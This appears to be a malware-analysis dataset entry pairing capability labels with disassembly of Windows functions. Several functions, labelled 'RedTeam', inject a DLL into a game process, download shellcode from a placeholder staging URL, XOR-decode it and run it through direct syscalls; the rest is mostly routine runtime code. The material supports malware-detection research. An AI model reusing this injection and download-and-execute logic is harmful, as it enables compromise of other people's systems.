joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002130
Capabilities:
Enumerate processes

Disassembly:
push rbx
sub rsp, 0x290
mov rax, qword [0x180031030]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edx, edx
mov qword [rsp + 0x2a0], rbp
mov dword [rsp + 0x40], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x1800021a2
call fcn.180002e40
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.180003790
movzx edx, al
mov rcx, rbx
call fcn.1800035e0
mov rcx, rbx
call fcn.180003480
xor ebx, ebx
jmp 0x180002289
mov qword [rsp + 0x2a8], rsi
lea rdx, [rsp + 0x40]
mov rcx, rbp
mov qword [rsp + 0x2b0], rdi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x180002270
nop word [rax + rax]
mov qword [rsp + 0x38], rbx
lea r8, [rsp + 0x6c]
mov qword [rsp + 0x30], rbx
mov r9d, 0xffffffff
mov dword [rsp + 0x28], ebx
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rsi, eax
test eax, eax
je 0x180002244
mov rcx, rsi
call fcn.180006604
mov qword [rsp + 0x38], rbx
lea r8, [rsp + 0x6c]
mov qword [rsp + 0x30], rbx
mov r9d, 0xffffffff
mov dword [rsp + 0x28], esi
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x180002247
mov rcx, rdi
call fcn.1800065c0
mov rdi, rbx
lea rdx, str.RDR2.exe
mov rcx, rdi
call fcn.18000ccb0
mov rcx, rbp
test eax, eax
je 0x1800022c5
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800021d0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x2a8]
mov rdi, qword [rsp + 0x2b0]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, qword [rsp + 0x2a0]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1800022d1
xor r9d, r9d
lea r8, str.RedTeam
lea rdx, str.Failed_to_open_process
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x180002302
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x48]
jmp 0x180002279
mov rcx, rbx
call fcn.180001160
test rax, rax
jne 0x1800022f9
xor r9d, r9d
lea r8, str.RedTeam
lea rdx, str.Failed_to_inject_dll
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x180002302
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1800065a0
add rsp, 0x290
pop rbx
ret
Function at 0x180002320
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov rax, qword [0x180031030]
xor rax, rsp
mov qword [rsp + 0x38], rax
xor esi, esi
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_117.0.0.0_Safari_537.36_Edg_117.0.2045.60
mov r13, r8
mov dword [rsp + 0x30], esi
mov r12, rdx
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea r14d, [rsi + 1]
mov edi, esi
mov ebx, esi
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbp, rax
test rax, rax
jne 0x18000237a
mov eax, esi
jmp 0x1800024cb
mov qword [rsp + 0x28], rsi
lea rdx, str.https:__url_to_payload_staging_shellcode.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x2400
xor r8d, r8d
mov qword [rsp + 0x80], r15
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
jne 0x1800023cf
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
lea edx, [r15 + 0x27]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov eax, esi
jmp 0x1800024c3
mov edx, 0x400
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x18000248b
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rax
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x18000248b
nop word [rax + rax]
mov edx, dword [rsp + 0x30]
add rdi, rdx
test rbx, rbx
jne 0x180002427
lea ecx, [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x180002439
mov r8d, 0x42
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov rbx, rax
test rax, rax
je 0x18000248b
mov r8d, dword [rsp + 0x30]
mov rcx, rax
sub rcx, r8
mov rdx, rsi
add rcx, rdi
call fcn.180008580
mov r8d, dword [rsp + 0x30]
xor edx, edx
mov rcx, rsi
call fcn.180008c40
cmp dword [rsp + 0x30], 0x400
jb 0x1800024e7
lea r9, [rsp + 0x30]
mov r8d, 0x400
mov rdx, rsi
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x180002410
xor r14d, r14d
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x27]
call qword [sym.imp.WININET.dll_InternetSetOptionW]
test rsi, rsi
je 0x1800024c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, r14d
mov r15, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1800065a0
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov qword [r12], rbx
mov qword [r13], rdi
jmp 0x18000248e
Function at 0x180002500
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x98
mov rax, qword [0x180031030]
xor rax, rsp
mov qword [rsp + 0x88], rax
cmp byte [0x1800348c8], 0
je 0x18000253f
mov eax, 1
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1800065a0
add rsp, 0x98
ret
mov qword [rsp + 0xa8], rsi
lea r8, [rsp + 0x68]
xor esi, esi
mov byte [0x1800348c8], 1
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rsi
call fcn.180002320
test eax, eax
jne 0x180002575
lea eax, [rsi - 1]
jmp 0x180002702
mov r8, qword [rsp + 0x68]
mov edx, esi
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0x90], rdi
mov rdi, qword [rsp + 0x60]
test r8d, r8d
je 0x18000262f
cmp r8d, 0x40
jb 0x180002611
movdqa xmm2, xmmword [0x18002b750]
mov eax, r8d
and eax, 0x3f
mov r10d, r8d
sub r10d, eax
mov r9d, 0x20
nop word [rax + rax]
mov eax, edx
movdqa xmm1, xmm2
add edx, 0x40
movdqu xmm0, xmmword [rax + rdi]
xorps xmm0, xmm2
movdqu xmmword [rax + rdi], xmm0
lea eax, [r9 - 0x10]
movdqu xmm0, xmmword [rax + rdi]
xorps xmm0, xmm2
movdqu xmmword [rax + rdi], xmm0
mov eax, r9d
movdqu xmm0, xmmword [rax + rdi]
xorps xmm1, xmm0
movdqu xmmword [rax + rdi], xmm1
lea eax, [r9 + 0x10]
add r9d, 0x40
movdqu xmm0, xmmword [rax + rdi]
xorps xmm0, xmm2
movdqu xmmword [rax + rdi], xmm0
cmp edx, r10d
jb 0x1800025c0
cmp edx, r8d
jae 0x18000262f
mov eax, edx
mov ecx, r8d
add rax, rdi
sub ecx, edx
mov edx, ecx
xor byte [rax], 0xfa
lea rax, [rax + 1]
sub rdx, 1
jne 0x180002622
mov ebx, r8d
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x70], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
lea r9, [rsp + 0x80]
mov rcx, rax
mov dword [rsp + 0x20], 0x3000
xor r8d, r8d
lea rdx, [rsp + 0x70]
call fcn.180003d32
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, qword [rsp + 0x70]
mov r9d, ebx
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov r8, rdi
call fcn.180003d41
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50], rsi
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x48], rsi
mov r9, rax
mov rax, qword [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov edx, 0x20000000
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call fcn.180003d50
mov rcx, qword [rsp + 0x78]
call fcn.180003d6e
xor r9d, r9d
lea r8, str.RedTeam
lea rdx, str.Payload_executed
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rdi, qword [rsp + 0x90]
xor eax, eax
mov rbx, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.1800065a0
add rsp, 0x98
ret
Function at 0x180003cf0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, dword [section..data]
call fcn.180003cb0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1800059e0
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x180005a0e
xor eax, eax
jmp 0x180005af4
cmp qword [rcx + 0x68], 0
je 0x180005a1f
call fcn.180005b10
jmp 0x180005af4
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180005a36
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180005a38
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180005a6a
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.180008580
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x180005aee
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x180005aa1
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x180005aca
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.18000e3cc
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x180005aee
cmp rsi, rbx
ja 0x180005aa8
test rsi, rsi
je 0x180005aee
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.18000e3cc
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1800164e0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180006e30
sub rsp, rax
mov rax, qword [0x180031030]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1800150c0
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x18001652f
mov rax, rbp
jmp 0x180016637
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x34320]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.180017600
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0x34320]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180016633
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180016633
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.180017600
test rax, rax
js 0x180016633
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180016633
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x180016625
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x180016625
cmp byte [rcx], 0xd
jne 0x18001660b
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x18001661a
cmp byte [rcx + 1], 0xa
jne 0x18001661a
inc rcx
jmp 0x18001661a
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x31420]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1800165ed
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x180016637
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1800065a0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x180016858
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x18001686e
mov al, 1
jmp 0x1800168ce
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x18001687f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1800168cc
mov ecx, dword [rcx + 0x18]
nop
call fcn.18001da3c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800168cc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1800168cc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800168cc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1800168ce
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1800169a0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x180034320]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1800169f7
cmp word [rdx], r13w
jne 0x1800169f7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1800169fc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x180016b21
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x180016b42
lea r9, [rdx + 2]
cmp cx, r11w
je 0x180016a35
mov rdx, r9
mov word [rbx], cx
jmp 0x180016a5c
cmp r9, r8
jae 0x180016a6c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x180016a16
jmp 0x180016b21
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180016b16
cmp dword [rsp + 0x80], esi
je 0x180016b16
lea r8, [0x180034320]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x180016aee
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x180016abe
mov word [rbx], r13w
jmp 0x180016b1e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x180016acb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x180016b1e
cmp word [rsp + 0x70], r13w
jne 0x180016afb
cmp rbx, r14
je 0x180016ab8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.180017608
cmp word [rsp + 0x70], r13w
je 0x180016b21
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x180034320]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x180016b1b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x180016b21
Function at 0x18001a5c8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18001a5f8
xor eax, eax
jmp 0x18001a6bb
mov rbp, rbx
cmp word [rax], si
je 0x18001a61d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001a604
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001a600
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180018cb0
movsxd r14, eax
test eax, eax
jne 0x18001a65b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18001a5f1
mov rcx, r14
call fcn.1800143ac
mov rdi, rax
test rax, rax
jne 0x18001a674
xor ecx, ecx
call fcn.180013a10
jmp 0x18001a650
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180018cb0
test eax, eax
jne 0x18001a6a5
mov rcx, rdi
call fcn.180013a10
jmp 0x18001a6af
xor ecx, ecx
call fcn.180013a10
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18001cf0c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.180011d58
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18001cfad
cmp ebx, dword [rsp + 0x30]
je 0x18001cfa6
test esi, esi
je 0x18001cfa6
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18001cf81
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18001cf8e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18001cf6b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18001cf92
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18001cfaf
mov eax, 1
jmp 0x18001cfaf
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140027e30
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b8b4
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b8b4
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027f80
cmp rax, 0xffffffffffffffff
je 0x140027f80
xor edi, edi
test rbp, rbp
jle 0x140027f2b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001deb8
mov rbx, rax
test rax, rax
jne 0x140027eb8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027f21
mov edx, 0x8000
mov ecx, r14d
call fcn.140015968
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c590
cmp eax, 0xffffffff
je 0x140027f01
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027ec8
mov edx, r15d
mov ecx, r14d
call fcn.140015968
jmp 0x140027f21
cmp byte [rsi + 0x38], dil
je 0x140027f18
cmp dword [rsi + 0x34], 5
jne 0x140027f18
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027f21
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019f78
jmp 0x140027f94
jns 0x140027f94
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b8b4
cmp rax, 0xffffffffffffffff
jne 0x140027f4c
cmp byte [rsi + 0x30], dil
je 0x140027f94
mov edi, dword [rsi + 0x2c]
jmp 0x140027f94
mov ecx, r14d
call fcn.14001705c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027f94
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027f94
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027f8d
mov eax, dword [rsi + 0x2c]
jmp 0x140027f92
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b8b4
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x140002784
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400027ce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400027ce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400027ce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400027ce
cmp dword [rcx + 0x84], 0xe
jbe 0x1400027ce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400027d0
xor al, al
add rsp, 0x28
ret
Function at 0x18000c690
Capabilities:
Check for software breakpoints

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb0
mov rax, qword [0x18006af78]
xor rax, rsp
mov qword [rsp + 0xa0], rax
imul eax, r8d, 0x84
mov r13, rdx
mov dword [rsp + 0x40], r8d
mov r15, rcx
mov r12d, r8d
mov dword [rsp + 0x30], eax
mov ebx, dword [rsp + 0x30]
cmp r8d, eax
ja 0x18000c72e
mov esi, dword [rsp + 0x30]
xor edi, edi
nop dword [rax]
cmp r12d, 0x2c
je 0x18000c8f5
cmp r12d, 0x40
je 0x18000c772
cmp r12d, 0x5d8
je 0x18000c7d8
cmp r12d, 0xb84
jne 0x18000c90d
mov eax, 0xe0
nop
cmp eax, 0xe0
je 0x18000c761
cmp eax, 0xaf00
jne 0x18000c766
mov eax, ebx
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.18005d0c0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov ebx, 1
add eax, 0xae20
cmp eax, 0x15c40
jbe 0x18000c720
mov dword [r15], edi
mov r8d, 0x3d
nop dword [rax + rax]
mov eax, r8d
sub eax, 0x3a
je 0x18000c8cc
sub eax, 1
je 0x18000c8c4
sub eax, 1
je 0x18000c8bc
cmp eax, 1
jne 0x18000c8e6
mov ecx, dword [r15]
mov esi, edi
test ecx, ecx
je 0x18000c8e6
mov rdx, qword [r13]
nop dword [rax + rax]
mov eax, esi
cmp qword [r15 + rax*8 + 8], rdx
je 0x18000c8bc
inc esi
cmp esi, ecx
jb 0x18000c7c0
jmp 0x18000c8e6
mov eax, dword [r13]
lea rdx, [rsp + 0x38]
mov r9d, reloc.SHELL32.dll_ILRemoveLastID
mov dword [rsp + 0x38], eax
mov r8, r15
lea rcx, [rsp + 0x50]
call fcn.18002d8b0
test eax, eax
je 0x18000c925
lea rdx, [r15 + 0x110]
mov rax, qword [rdx]
cmp qword [r15 + 0x120], rax
jne 0x18000c879
lea r9, [r15 + 0x108]
mov dword [rsp + 0x20], 0x89
lea rcx, [r15 + 0x118]
lea r8, [r15 + 0x120]
call fcn.18005b630
test eax, eax
jne 0x18000c879
mov dword [r15], 1
mov ebp, 0xca
mov eax, ebp
sub eax, 0xca
je 0x18000c859
cmp eax, 1
je 0x18000c72e
jmp 0x18000c86a
lea rdx, [rsp + 0x50]
mov ecx, reloc.SHELL32.dll_ILClone
call fcn.18000e000
mov ebx, edi
inc ebp
cmp ebp, 0xcc
jb 0x18000c845
jmp 0x18000c90d
mov rax, qword [r15 + 0x120]
movaps xmm0, xmmword [rsp + 0x50]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [rsp + 0x80]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rax + 0x40], xmm0
add qword [r15 + 0x120], 0x50
jmp 0x18000c90d
mov r8d, 0x3c
jmp 0x18000c8e6
mov r12d, 0x40
jmp 0x18000c8e6
mov eax, dword [r15]
cmp esi, eax
jne 0x18000c8e6
cmp eax, 0x40
jae 0x18000c8e6
mov rax, qword [r13]
mov ecx, esi
mov qword [r15 + rcx*8 + 8], rax
inc dword [r15]
dec r8d
cmp r8d, 0x39
ja 0x18000c780
jmp 0x18000c90d
mov edx, 0xfc
mov rcx, r15
call fcn.180054c20
test eax, eax
je 0x18000c925
mov dword [r15 + 0x154], edi
imul eax, dword [rsp + 0x40], 0x21
add r12d, eax
cmp r12d, dword [rsp + 0x30]
jbe 0x18000c6f0
jmp 0x18000c72e
mov eax, edi
jmp 0x18000c730